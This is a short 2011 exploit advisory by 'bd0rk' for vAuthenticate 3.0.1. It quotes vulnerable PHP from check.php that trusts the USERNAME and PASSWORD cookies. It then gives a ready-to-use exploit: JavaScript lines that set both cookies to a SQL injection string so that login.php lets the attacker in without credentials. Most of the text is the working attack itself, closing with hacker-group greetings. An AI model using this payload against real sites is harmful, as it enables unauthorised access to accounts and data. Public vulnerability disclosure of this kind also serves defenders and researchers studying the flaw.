-----------------------------------------------------------------------
 
vAuthenticate 3.0.1 Auth Bypass by Cookie SQL Injection Vulnerability
 
-----------------------------------------------------------------------
 
Author: bd0rk
 
Contact: bd0rk[at]hackermail.com
 
Date: 2011 / 08 / 30
 
MEZ-Time: 01:35
 
Tested on WinVista & Ubuntu-Linux
 
Affected-Software: vAuthenticate 3.0.1
 
Vendor: https://www.beanbug.net/vScripts.php
 
Download: https://www.beanbug.net/Scripts/vAuthenticate_3.0.1.zip
 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
Found vulnerable code in check.php:
 
if (isset($_COOKIE['USERNAME']) && isset($_COOKIE['PASSWORD']))
    {
        // Get values from superglobal variables
        $USERNAME = $_COOKIE['USERNAME'];
        $PASSWORD = $_COOKIE['PASSWORD'];
 
        $CheckSecurity = new auth();
        $check = $CheckSecurity->page_check($USERNAME, $PASSWORD);
    }
    else
    {
        $check = false;
    }
 
    if ($check == false)
    {
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 
Exploit: javascript:document.cookie = "[USERNAME]=' or '; [PATH]";
 
         javascript:document.cookie = "[PASSWORD]=' or '; [PATH]";
 
 
Them use login.php 4AuthBypass :P
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 
 
---Greetings from hot Germany, the 22 years old bd0rk. :-)
 
Special-Greetz: Zubair Anjum, Perle, DJTrebo, Anonymous, GolD_M, hoohead